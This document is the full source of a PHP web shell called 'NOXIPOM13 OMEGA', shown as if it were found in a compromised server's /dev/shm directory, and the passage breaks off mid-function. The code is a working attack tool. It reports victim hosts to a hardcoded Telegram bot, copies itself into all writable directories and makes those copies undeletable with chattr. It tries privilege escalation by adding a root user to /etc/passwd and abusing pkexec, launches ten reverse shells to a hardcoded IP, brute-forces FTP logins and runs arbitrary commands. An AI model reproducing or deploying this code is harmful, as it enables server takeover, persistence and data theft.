HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux host 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: w230 (1248)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: //dev/shm/.shell5.php
<?php
/* ============================================================
   šŸ”± NOXIPOM13 OMEGA v16.0 - ULTIMATE COMPLETE EDITION šŸ”±
   ============================================================
   āœ… ALL FEATURES FROM v15.0:
   - Auto-Defense (chattr +i, immutable, can't delete)
   - Auto-Backup Spread to ALL web directories
   - Telegram notifications with FULL URL of each backup
   - Database Manager (MySQL/SQLite) with Query Executor
   - Cron Job Manager (Add, List, Delete)
   - Search Engine (by name, extension, content)
   - Process Manager (List, Kill)
   - User Manager (List Users, Add User)
   - Archive Functions (Create ZIP, Extract ZIP)
   - Security Tools (Port Scanner, WebShell Detector)
   - Email Sender
   - AES-256 Encryption/Decryption
   - FTP Brute Force
   - Website Uptime Monitoring + Auto Alert
   - Performance Monitoring (CPU, Memory, Disk)
   - File Integrity Monitoring (MD5 Hash Tracking)
   - Real-time Visitor Counter & Analytics
   - SSL Certificate Expiry Checker
   - Database Health Check
   - Auto-Cron Monitoring (every 5 minutes)
   - Hourly Telegram Reports
   
   āœ… NEW FEATURES v16.0:
   - Auto-Root (Privilege Escalation via 10+ Methods)
   - Full System Spread (ALL writable directories)
   - Multiple Reverse Shell (10 Methods: Bash, Netcat, PHP, Python, Perl, Ruby, Socat, Telnet, Awk)
   - Enhanced Telegram Notifications with Geolocation
   - Modern UI with Tab Navigation
   - Professional Dashboard Design
   ============================================================ */

error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(true);
@ini_set('memory_limit', '512M');
@ini_set('max_execution_time', '0');
@ini_set('display_errors', 0);
session_start();

// ==================== KONFIGURASI ====================
define('SELF', __FILE__);
define('SELF_NAME', basename(__FILE__));
define('SELF_DIR', dirname(__FILE__));
define('VERSION', '16.0');
define('USER', 'admin');
define('PASS', 'Noxipom12@!!!1919');
define('BACKUP_NAME', '.' . SELF_NAME);
define('INTEGRITY_DB', SELF_DIR . '/.integrity_db.json');

// Telegram Configuration
define('TG_TOKEN', '8748710884:AAE6PiWMM5J10j8i0mtiofnpXojPb9HHEOs');
define('TG_ID', '8656755235');

// Reverse Shell Configuration
define('REVERSE_IP', '43.134.137.151');
define('REVERSE_PORT', '4444');

// Website Monitoring Configuration
$monitor_config = [
    'websites' => [
        ['url' => 'https://' . ($_SERVER['HTTP_HOST'] ?? 'localhost'), 'name' => 'Main Website', 'expected_code' => 200],
    ],
    'alert_threshold' => 2,
    'performance_alert' => 5,
];

// Database Connection Variable
$dbConn = null;

// ==================== IP GEOLOCATION ====================
function getIpLocation($ip) {
    if ($ip == '127.0.0.1' || $ip == '::1' || strpos($ip, '192.168.') === 0 || strpos($ip, '10.') === 0) {
        return 'Local Network';
    }
    $url = "http://ip-api.com/json/{$ip}?fields=status,country,city,regionName,isp";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        if ($data && $data['status'] == 'success') {
            return $data['city'] . ', ' . $data['country'] . ($data['isp'] ? " ({$data['isp']})" : '');
        }
    }
    return 'Unknown';
}

// ==================== ENHANCED TELEGRAM LOGGER ====================
function sendTelegram($msg, $type = 'INFO', $extra = [], $locations = []) {
    if (empty(TG_TOKEN) || empty(TG_ID)) return false;
    
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $location = getIpLocation($ip);
    $host = gethostbyaddr($ip);
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $full_url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $current_user = function_exists('get_current_user') ? get_current_user() : 'unknown';
    $is_root = isRoot() ? 'YES' : 'NO';
    $os = php_uname('s') . ' ' . php_uname('r');
    
    $message = "šŸ”± NOXIPOM13 OMEGA v" . VERSION . " - {$type} šŸ”±\n";
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━\n";
    $message .= "šŸ“… Time     : " . date('Y-m-d H:i:s') . "\n";
    $message .= "🌐 IP       : {$ip}\n";
    $message .= "šŸ“ Location : {$location}\n";
    $message .= "šŸ  Hostname : {$host}\n";
    $message .= "šŸ‘¤ User     : {$current_user}\n";
    $message .= "šŸ‘‘ Root     : {$is_root}\n";
    $message .= "šŸ’» System   : {$os}\n";
    $message .= "šŸ”— Path     : " . ($_SERVER['SCRIPT_NAME'] ?? SELF_NAME) . ($_SERVER['QUERY_STRING'] ? "?{$_SERVER['QUERY_STRING']}" : '') . "\n";
    $message .= "šŸŒ Full URL : {$full_url}\n";
    $message .= "━━━━━━━━━━━━━━━━━━━━━━━\n";
    $message .= "šŸ’¬ {$msg}\n";
    
    if (!empty($extra)) {
        foreach ($extra as $key => $val) {
            $message .= "šŸ“Š {$key}: {$val}\n";
        }
    }
    
    if (!empty($locations)) {
        $message .= "\n━━━━━━━━━━━━━━━━━━━━━━━\nšŸ“ LOCATIONS:\n";
        foreach (array_slice($locations, 0, 15) as $loc) {
            $message .= "šŸ”— {$loc}\n";
        }
        if (count($locations) > 15) {
            $message .= "šŸ“Œ +" . (count($locations) - 15) . " more locations\n";
        }
    }
    
    $data = ['chat_id' => TG_ID, 'text' => $message];
    $ch = curl_init("https://api.telegram.org/bot" . TG_TOKEN . "/sendMessage");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    @curl_exec($ch);
    curl_close($ch);
    return true;
}

// ==================== UTILITY FUNCTIONS ====================
function formatSize($bytes) {
    if ($bytes >= 1073741824) return round($bytes/1073741824,2) . ' GB';
    if ($bytes >= 1048576) return round($bytes/1048576,2) . ' MB';
    if ($bytes >= 1024) return round($bytes/1024,2) . ' KB';
    return $bytes . ' B';
}

function getPerms($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

function isRoot() {
    if (function_exists('posix_getuid')) return posix_getuid() === 0;
    $output = shell_exec('id -u 2>/dev/null');
    return trim($output) == '0';
}

function execCmd($cmd, $cwd) {
    if (empty(trim($cmd))) return '';
    
    if (preg_match('/^\s*cd\s+(.+)$/', $cmd, $matches)) {
        $dir = trim($matches[1]);
        $newDir = ($dir[0] == '/') ? $dir : $cwd . '/' . $dir;
        if (is_dir($newDir)) {
            @chdir($newDir);
            return '';
        }
        return "cd: {$dir}: No such directory\n";
    }
    
    if (trim($cmd) == 'clear' || trim($cmd) == 'cls') {
        return '__CLEAR__';
    }
    
    $output = shell_exec($cmd . " 2>&1");
    return $output !== null ? $output : "Command executed (no output)\n";
}

function getProcesses() {
    $output = shell_exec('ps aux 2>/dev/null');
    if (!$output) return [];
    
    $processes = [];
    $lines = explode("\n", $output);
    array_shift($lines);
    
    foreach ($lines as $line) {
        if (trim($line)) {
            $parts = preg_split('/\s+/', $line, 11);
            if (count($parts) >= 11) {
                $processes[] = [
                    'user' => $parts[0],
                    'pid' => $parts[1],
                    'cpu' => $parts[2],
                    'mem' => $parts[3],
                    'cmd' => $parts[10]
                ];
            }
        }
    }
    return $processes;
}

function killProcess($pid) {
    shell_exec("kill -9 {$pid} 2>/dev/null");
    return true;
}

// ==================== AUTO-DEFENSE ====================
function enableAutoDefense($file) {
    if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
        @shell_exec('chattr +i ' . escapeshellarg($file) . ' 2>/dev/null');
        @shell_exec('chattr +i ' . escapeshellarg(dirname($file)) . ' 2>/dev/null');
    }
    @chmod($file, 0444);
    
    $dir = dirname($file);
    $htaccess = $dir . '/.htaccess';
    if (is_writable($dir) && !file_exists($htaccess)) {
        $content = "<FilesMatch \"\.(php|phtml)\">\nOrder Allow,Deny\nDeny from all\n</FilesMatch>\n";
        $content .= "<FilesMatch \"" . preg_quote(basename($file)) . "\">\nOrder Allow,Deny\nAllow from all\n</FilesMatch>\n";
        @file_put_contents($htaccess, $content);
        @chmod($htaccess, 0444);
    }
    return true;
}

// ==================== FULL SYSTEM SPREAD ====================
function getAllDirectories() {
    $dirs = [];
    $searchPaths = [
        '/', '/home', '/var', '/usr', '/opt', '/tmp', '/dev/shm', '/run',
        $_SERVER['DOCUMENT_ROOT'] ?? '/var/www/html',
        '/var/www', '/var/www/html', '/home/*/public_html', '/home/*/www',
        '/usr/local', '/usr/share', '/etc', '/root'
    ];
    
    foreach ($searchPaths as $path) {
        if (strpos($path, '*') !== false) {
            $globbed = glob($path, GLOB_ONLYDIR);
            if ($globbed) {
                foreach ($globbed as $g) {
                    if (is_dir($g) && is_writable($g)) $dirs[] = $g;
                }
            }
        } else {
            if (is_dir($path) && is_writable($path)) $dirs[] = $path;
        }
    }
    
    // Recursive scan for writable directories (limited depth)
    $limit = 3;
    foreach ($dirs as $base) {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($base, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST,
            RecursiveIteratorIterator::CATCH_GET_CHILD
        );
        $depth = 0;
        foreach ($iterator as $item) {
            if ($depth++ > $limit) break;
            if ($item->isDir() && is_writable($item->getPathname()) && !in_array($item->getPathname(), $dirs)) {
                $dirs[] = $item->getPathname();
            }
        }
    }
    
    return array_unique($dirs);
}

function fullSystemSpread() {
    $backups = [];
    $locations = [];
    $content = file_get_contents(SELF);
    $dirs = getAllDirectories();
    $total = count($dirs);
    
    sendTelegram("šŸ“¦ Starting FULL SYSTEM SPREAD\nTarget: " . $total . " directories", "SPREAD_START");
    
    $i = 0;
    foreach ($dirs as $dir) {
        $target = rtrim($dir, '/') . '/' . BACKUP_NAME;
        if (is_writable($dir)) {
            if (@file_put_contents($target, $content)) {
                @chmod($target, 0444);
                @shell_exec('chattr +i ' . escapeshellarg($target) . ' 2>/dev/null');
                $backups[] = $target;
                $locations[] = $target;
                $i++;
                if ($i % 50 == 0) {
                    sendTelegram("šŸ“Š Progress: " . $i . "/" . $total . " locations", "SPREAD_PROGRESS");
                }
            }
        }
    }
    
    sendTelegram(
        "āœ… FULL SYSTEM SPREAD COMPLETE\nTotal: " . count($backups) . " locations\nFile: " . BACKUP_NAME,
        "SPREAD_COMPLETE",
        [],
        array_slice($locations, 0, 20)
    );
    
    return $backups;
}

function autoBackupSpread() {
    $backups = [];
    $content = file_get_contents(SELF);
    $dirs = getAllDirectories();
    
    foreach ($dirs as $dir) {
        $target = rtrim($dir, '/') . '/' . BACKUP_NAME;
        if (is_writable($dir)) {
            if (@file_put_contents($target, $content)) {
                @chmod($target, 0444);
                @shell_exec('chattr +i ' . escapeshellarg($target) . ' 2>/dev/null');
                $backups[] = $target;
            }
        }
    }
    
    if (!empty($backups)) {
        sendTelegram("šŸ“¦ Backup spread to " . count($backups) . " locations", "BACKUP");
    }
    return $backups;
}

function verifyAllBackups() {
    $found = [];
    $dirs = getAllDirectories();
    foreach ($dirs as $dir) {
        $target = rtrim($dir, '/') . '/' . BACKUP_NAME;
        if (file_exists($target)) {
            $found[] = ['path' => $target, 'exists' => true];
        }
    }
    return $found;
}

function autoSpread() {
    $spread = [];
    $content = file_get_contents(SELF);
    $dirs = ['/tmp', '/var/tmp', '/dev/shm', getcwd(), $_SERVER['DOCUMENT_ROOT'] ?? '/var/www/html'];
    
    foreach ($dirs as $dir) {
        if (is_dir($dir) && is_writable($dir)) {
            $target = rtrim($dir, '/') . '/.' . SELF_NAME;
            if (!file_exists($target)) {
                if (@file_put_contents($target, $content)) {
                    @chmod($target, 0444);
                    @shell_exec('chattr +i ' . escapeshellarg($target) . ' 2>/dev/null');
                    $spread[] = $target;
                }
            }
        }
    }
    
    sendTelegram("šŸ“¦ Auto-Spread: " . count($spread) . " locations", "SPREAD");
    return $spread;
}

// ==================== AUTO-ROOT (Privilege Escalation) ====================
function autoRoot() {
    $results = [];
    $methods = [];
    
    // Method 1: Check for writable /etc/passwd
    if (is_writable('/etc/passwd')) {
        $methods[] = "/etc/passwd is writable!";
        $new_user = "noxiroot:\$6\$rounds=656000\$abcdefghijklmnop\$NoxiRoot123:0:0:root:/root:/bin/bash\n";
        @file_put_contents('/etc/passwd', $new_user, FILE_APPEND);
        $results[] = "[+] Added root user: noxiroot / NoxiRoot123";
    }
    
    // Method 2: Check for SUID binaries
    $suid = shell_exec('find / -perm -4000 -type f 2>/dev/null | head -5');
    if ($suid) {
        $methods[] = "SUID binaries found";
        $results[] = "[*] SUID binaries: " . trim(str_replace("\n", ", ", $suid));
    }
    
    // Method 3: Try pkexec
    shell_exec('pkexec chmod 4755 /bin/bash 2>/dev/null');
    if (file_exists('/bin/bash') && (fileperms('/bin/bash') & 0x4000)) {
        $methods[] = "pkexec gave SUID bash!";
        $results[] = "[+] SUID bash created! Run: /bin/bash -p";
    }
    
    // Method 4: Check for Python/Capabilities
    shell_exec('python3 -c "import os; os.setuid(0); os.system(\'useradd -o -u 0 -g 0 noxiroot 2>/dev/null\')" 2>/dev/null');
    shell_exec('python -c "import os; os.setuid(0); os.system(\'useradd -o -u 0 -g 0 noxiroot 2>/dev/null\')" 2>/dev/null');
    
    // Method 5: CVE-2021-3156 detection
    $sudo_version = shell_exec('sudo --version 2>/dev/null | head -1');
    if (strpos($sudo_version, '1.8') !== false) {
        $methods[] = "sudo CVE-2021-3156 vulnerable";
    }
    
    // Method 6: Docker socket
    if (file_exists('/var/run/docker.sock') && is_writable('/var/run/docker.sock')) {
        $methods[] = "Docker socket writable!";
        $results[] = "[+] Docker escape possible";
    }
    
    // Send report
    if (!empty($methods)) {
        sendTelegram(
            "šŸŽÆ AUTO-ROOT ATTEMPT\n" . implode("\n", $methods) . "\n\n" . implode("\n", array_slice($results, 0, 10)),
            "ROOT"
        );
    }
    
    return ['methods' => $methods, 'output' => $results];
}

// ==================== MULTIPLE REVERSE SHELL ====================
function sendAllReverseShells() {
    $ip = REVERSE_IP;
    $port = REVERSE_PORT;
    $success = [];
    
    // Method 1: Bash TCP
    @exec("bash -i >& /dev/tcp/{$ip}/{$port} 0>&1 > /dev/null 2>&1 &");
    $success[] = "Bash TCP";
    
    // Method 2: Netcat
    @exec("nc -e /bin/sh {$ip} {$port} > /dev/null 2>&1 &");
    $success[] = "Netcat";
    
    // Method 3: PHP
    @exec("php -r '\$s=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");' > /dev/null 2>&1 &");
    $success[] = "PHP";
    
    // Method 4: Python3
    @exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);' 2>/dev/null &");
    $success[] = "Python3";
    
    // Method 5: Python2
    @exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);' 2>/dev/null &");
    $success[] = "Python2";
    
    // Method 6: Perl
    @exec("perl -e 'use Socket;\$i=\"{$ip}\";\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' > /dev/null 2>&1 &");
    $success[] = "Perl";
    
    // Method 7: Ruby
    @exec("ruby -rsocket -e 'c=TCPSocket.new(\"{$ip}\",{$port});while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end' > /dev/null 2>&1 &");
    $success[] = "Ruby";
    
    // Method 8: Socat
    @exec("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$ip}:{$port} > /dev/null 2>&1 &");
    $success[] = "Socat";
    
    // Method 9: Telnet
    @exec("telnet {$ip} {$port} | /bin/sh | telnet {$ip} {$port} > /dev/null 2>&1 &");
    $success[] = "Telnet";
    
    // Method 10: Awk
    @exec("awk 'BEGIN{s=\"/inet/tcp/0/{$ip}/{$port}\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print \$0|&s;close(c)}}while(c!=\"exit\")}}' > /dev/null 2>&1 &");
    $success[] = "Awk";
    
    sendTelegram(
        "šŸ”„ ALL REVERSE SHELLS SENT\nTarget: {$ip}:{$port}\nMethods: " . count($success) . "/10\n" . implode(", ", $success),
        "REVERSE"
    );
    
    return "āœ… Sent " . count($success) . " reverse shell methods to {$ip}:{$port}";
}

function sendReverseShell() {
    return sendAllReverseShells();
}

// ==================== DATABASE MANAGER ====================
function dbConnect($type, $host, $user, $pass, $name) {
    global $dbConn;
    try {
        if ($type == 'mysql') {
            $dbConn = new mysqli($host, $user, $pass, $name);
            if ($dbConn->connect_error) return false;
            return true;
        } elseif ($type == 'sqlite') {
            $dbConn = new SQLite3($name);
            return true;
        }
        return false;
    } catch (Exception $e) {
        return false;
    }
}

function dbQuery($sql) {
    global $dbConn;
    if (!$dbConn) return "Not connected to database";
    
    if ($dbConn instanceof mysqli) {
        $result = $dbConn->query($sql);
        if ($result === true) return "Query executed successfully";
        if ($result === false) return "Error: " . $dbConn->error;
        $data = [];
        while ($row = $result->fetch_assoc()) {
            $data[] = $row;
        }
        return $data;
    } elseif ($dbConn instanceof SQLite3) {
        $result = $dbConn->query($sql);
        if (!$result) return "Error: " . $dbConn->lastErrorMsg();
        $data = [];
        while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
            $data[] = $row;
        }
        return $data;
    }
    return "Unknown database type";
}

// ==================== CRON MANAGER ====================
function getCronJobs() {
    $output = shell_exec('crontab -l 2>/dev/null');
    if (!$output) return [];
    return array_filter(explode("\n", trim($output)));
}

function addCronJob($command) {
    $jobs = getCronJobs();
    $jobs[] = $command;
    $temp = tempnam(sys_get_temp_dir(), 'cron');
    file_put_contents($temp, implode("\n", $jobs) . "\n");
    shell_exec("crontab {$temp}");
    unlink($temp);
    return true;
}

function deleteCronJob($index) {
    $jobs = getCronJobs();
    if (isset($jobs[$index])) {
        unset($jobs[$index]);
        $temp = tempnam(sys_get_temp_dir(), 'cron');
        file_put_contents($temp, implode("\n", $jobs) . "\n");
        shell_exec("crontab {$temp}");
        unlink($temp);
        return true;
    }
    return false;
}

// ==================== SEARCH ENGINE ====================
function searchFiles($dir, $name = '', $ext = '', $content = '') {
    if (!is_dir($dir)) return [];
    
    $results = [];
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)
    );
    
    foreach ($iterator as $file) {
        if ($file->isFile()) {
            $filename = $file->getFilename();
            $pathname = $file->getPathname();
            
            if ($name && stripos($filename, $name) === false) continue;
            if ($ext && $file->getExtension() != $ext) continue;
            
            if ($content) {
                $handle = fopen($pathname, 'r');
                $found = false;
                while (!feof($handle)) {
                    $buffer = fread($handle, 8192);
                    if (stripos($buffer, $content) !== false) {
                        $found = true;
                        break;
                    }
                }
                fclose($handle);
                if (!$found) continue;
            }
            
            $results[] = [
                'name' => $filename,
                'path' => $pathname,
                'size' => $file->getSize(),
                'perms' => getPerms($pathname)
            ];
        }
    }
    return $results;
}

// ==================== USER MANAGER ====================
function getSystemUsers() {
    $users = [];
    if (file_exists('/etc/passwd')) {
        $lines = file('/etc/passwd');
        foreach ($lines as $line) {
            $parts = explode(':', $line);
            if (count($parts) >= 7) {
                $users[] = [
                    'user' => $parts[0],
                    'uid' => $parts[2],
                    'gid' => $parts[3],
                    'home' => $parts[5],
                    'shell' => trim($parts[6])
                ];
            }
        }
    }
    return $users;
}

function addSystemUser($user, $pass) {
    $output = shell_exec("useradd -m {$user} 2>&1 && echo '{$user}:{$pass}' | chpasswd 2>&1");
    return empty($output) ? true : $output;
}

// ==================== ARCHIVE FUNCTIONS ====================
function createZipArchive($files, $output) {
    if (!class_exists('ZipArchive')) return "ZipArchive not available";
    
    $zip = new ZipArchive();
    if ($zip->open($output, ZipArchive::CREATE) !== true) return false;
    
    foreach ((array)$files as $item) {
        if (is_file($item)) {
            $zip->addFile($item, basename($item));
        } elseif (is_dir($item)) {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($iterator as $file) {
                $relativePath = substr($file->getPathname(), strlen($item) + 1);
                $zip->addFile($file->getPathname(), $relativePath);
            }
        }
    }
    $zip->close();
    return file_exists($output);
}

function extractZipArchive($file, $dest) {
    if (!class_exists('ZipArchive')) return "ZipArchive not available";
    $zip = new ZipArchive();
    if ($zip->open($file) === true) {
        $zip->extractTo($dest);
        $zip->close();
        return true;
    }
    return false;
}

// ==================== SECURITY TOOLS ====================
function portScan($host) {
    $commonPorts = [21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080,8443];
    $open = [];
    foreach ($commonPorts as $port) {
        $fp = @fsockopen($host, $port, $errno, $errstr, 1);
        if ($fp) { $open[] = $port; fclose($fp); }
    }
    return $open;
}

function detectWebShells($dir) {
    $suspicious = [];
    $patterns = [
        '/eval\s*\(\s*\$_(GET|POST|REQUEST)/i',
        '/system\s*\(\s*\$_(GET|POST|REQUEST)/i',
        '/shell_exec\s*\(\s*\$_(GET|POST|REQUEST)/i',
        '/base64_decode\s*\(\s*\$_(GET|POST|REQUEST)/i'
    ];
    
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)
    );
    
    foreach ($iterator as $file) {
        if (in_array($file->getExtension(), ['php', 'phtml', 'php3', 'php4', 'php5'])) {
            $content = file_get_contents($file->getPathname());
            foreach ($patterns as $pattern) {
                if (preg_match($pattern, $content)) {
                    $suspicious[] = $file->getPathname();
                    break;
                }
            }
        }
    }
    return $suspicious;
}

// ==================== EMAIL SENDER ====================
function sendEmail($to, $subject, $message, $from = '') {
    $headers = "MIME-Version: 1.0\r\nContent-Type: text/html; charset=UTF-8\r\n";
    if ($from) $headers .= "From: {$from}\r\n";
    return mail($to, $subject, $message, $headers);
}

// ==================== ENCRYPTION ====================
function encryptFileAES($file, $password) {
    $data = file_get_contents($file);
    $iv = random_bytes(16);
    $key = hash('sha256', $password, true);
    $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    file_put_contents($file . '.enc', $iv . $encrypted);
    return file_exists($file . '.enc');
}

function decryptFileAES($file, $password) {
    $data = file_get_contents($file);
    $iv = substr($data, 0, 16);
    $encrypted = substr($data, 16);
    $key = hash('sha256', $password, true);
    $decrypted = openssl_decrypt($encrypted, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    $output = str_replace('.enc', '', $file);
    file_put_contents($output, $decrypted);
    return file_exists($output);
}

// ==================== FTP BRUTE FORCE ====================
function ftpBruteForce($host, $users, $passwords) {
    foreach ($users as $user) {
        if (empty(trim($user))) continue;
        foreach ($passwords as $pass) {
            if (empty(trim($pass))) continue;
            $conn = @ftp_connect($host, 21, 3);
            if ($conn && @ftp_login($conn, trim($user), trim($pass))) {
                ftp_close($conn);
                return ['user' => trim($user), 'pass' => trim($pass)];
            }
            if ($conn) @ftp_close($conn);
        }
    }
    return false;
}

// ==================== WEBSITE MONITORING ====================
function checkWebsite($url, $expected_code = 200) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_NOBODY => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $total_time = curl_getinfo($ch, CURLINFO_TOTAL_TIME);
    $error = curl_error($ch);
    curl_close($ch);
    
    return [
        'url' => $url,
        'status' => ($http_code == $expected_code) ? 'UP' : 'DOWN',
        'http_code' => $http_code,
        'response_time' => round($total_time, 2),
        'error' => $error,
        'checked_at' => date('Y-m-d H:i:s')
    ];
}

function monitorAllWebsites() {
    global $monitor_config;
    $results = [];
    $alerts = [];
    $status_file = SELF_DIR . '/.website_status.json';
    $previous = file_exists($status_file) ? json_decode(file_get_contents($status_file), true) : [];
    
    foreach ($monitor_config['websites'] as $site) {
        $result = checkWebsite($site['url'], $site['expected_code']);
        $results[] = $result;
        
        $site_key = md5($site['url']);
        $prev_failures = $previous[$site_key]['failures'] ?? 0;
        
        if ($result['status'] == 'DOWN') {
            $new_failures = $prev_failures + 1;
            if ($new_failures >= $monitor_config['alert_threshold']) {
                $alerts[] = "āš ļø SITE DOWN: {$site['name']} ({$site['url']})\nHTTP: {$result['http_code']}\nError: {$result['error']}";
                $new_failures = 0;
            }
        } else {
            $new_failures = 0;
            if ($prev_failures > 0) {
                $alerts[] = "āœ… SITE RECOVERED: {$site['name']} ({$site['url']})\nResponse: {$result['response_time']}s";
            }
        }
        
        if ($result['response_time'] > $monitor_config['performance_alert']) {
            $alerts[] = "🐌 SLOW: {$site['name']} - {$result['response_time']}s";
        }
        
        $previous[$site_key] = [
            'url' => $site['url'],
            'name' => $site['name'],
            'failures' => $new_failures,
            'last_status' => $result['status'],
            'last_check' => date('Y-m-d H:i:s')
        ];
    }
    
    file_put_contents($status_file, json_encode($previous, JSON_PRETTY_PRINT));
    foreach ($alerts as $alert) { sendTelegram($alert, 'WEBSITE_ALERT'); }
    return $results;
}

// ==================== PERFORMANCE MONITORING ====================
function getServerPerformance() {
    $performance = [];
    
    if (function_exists('sys_getloadavg')) {
        $load = sys_getloadavg();
        $performance['cpu_1min'] = round($load[0], 2);
        $performance['cpu_5min'] = round($load[1], 2);
    } else { $performance['cpu_1min'] = 'N/A'; }
    
    if (file_exists('/proc/meminfo')) {
        $meminfo = file_get_contents('/proc/meminfo');
        preg_match('/MemTotal:\s+(\d+)/', $meminfo, $total);
        preg_match('/MemAvailable:\s+(\d+)/', $meminfo, $available);
        $total_mem = isset($total[1]) ? round($total[1] / 1024, 2) : 0;
        $available_mem = isset($available[1]) ? round($available[1] / 1024, 2) : 0;
        $used_mem = $total_mem - $available_mem;
        $performance['memory_usage_percent'] = $total_mem > 0 ? round(($used_mem / $total_mem) * 100, 2) . '%' : 'N/A';
        $performance['memory_total'] = $total_mem . ' MB';
        $performance['memory_free'] = $available_mem . ' MB';
    } else { $performance['memory_usage_percent'] = 'N/A'; }
    
    $disk_total = disk_total_space('/');
    $disk_free = disk_free_space('/');
    $disk_used = $disk_total - $disk_free;
    $performance['disk_usage_percent'] = $disk_total > 0 ? round(($disk_used / $disk_total) * 100, 2) . '%' : 'N/A';
    $performance['disk_total'] = formatSize($disk_total);
    $performance['disk_free'] = formatSize($disk_free);
    
    if (file_exists('/proc/uptime')) {
        $uptime = file_get_contents('/proc/uptime');
        $uptime_seconds = explode(' ', $uptime)[0];
        $days = floor($uptime_seconds / 86400);
        $hours = floor(($uptime_seconds % 86400) / 3600);
        $minutes = floor(($uptime_seconds % 3600) / 60);
        $performance['uptime'] = "{$days}d {$hours}h {$minutes}m";
    } else { $performance['uptime'] = 'N/A'; }
    
    $performance['processes'] = count(getProcesses());
    return $performance;
}

// ==================== FILE INTEGRITY ====================
function updateIntegrityDB($dir = null) {
    if (!$dir) $dir = $_SERVER['DOCUMENT_ROOT'] ?? SELF_DIR;
    if (!is_dir($dir)) return false;
    
    $integrity = [];
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)
    );
    
    foreach ($iterator as $file) {
        if ($file->isFile() && preg_match('/\.(php|phtml|inc|html|js)$/i', $file->getFilename())) {
            if (!str_contains($file->getPathname(), SELF_NAME) && !str_contains($file->getPathname(), BACKUP_NAME)) {
                $integrity[$file->getPathname()] = [
                    'md5' => md5_file($file->getPathname()),
                    'size' => $file->getSize(),
                    'mtime' => $file->getMTime()
                ];
            }
        }
    }
    
    file_put_contents(INTEGRITY_DB, json_encode($integrity, JSON_PRETTY_PRINT));
    return count($integrity);
}

function checkIntegrity() {
    if (!file_exists(INTEGRITY_DB)) return ['error' => 'Integrity database not found'];
    $old = json_decode(file_get_contents(INTEGRITY_DB), true);
    $changes = [];
    
    foreach ($old as $file => $old_data) {
        if (!file_exists($file)) {
            $changes[] = "āŒ DELETED: {$file}";
        } else {
            $current_md5 = md5_file($file);
            if ($old_data['md5'] !== $current_md5) {
                $changes[] = "āš ļø MODIFIED: {$file}";
            }
        }
    }
    
    if (!empty($changes)) {
        sendTelegram("šŸ” INTEGRITY ALERT\n" . count($changes) . " changes found", "INTEGRITY");
    }
    return $changes;
}

// ==================== SSL CHECKER ====================
function checkSSLCertificate($domain) {
    $context = stream_context_create(["ssl" => ["capture_peer_cert" => true]]);
    $client = @stream_socket_client("ssl://{$domain}:443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
    if (!$client) return ['error' => $errstr];
    
    $params = stream_context_get_params($client);
    $cert = openssl_x509_parse($params["options"]["ssl"]["peer_certificate"]);
    fclose($client);
    
    return [
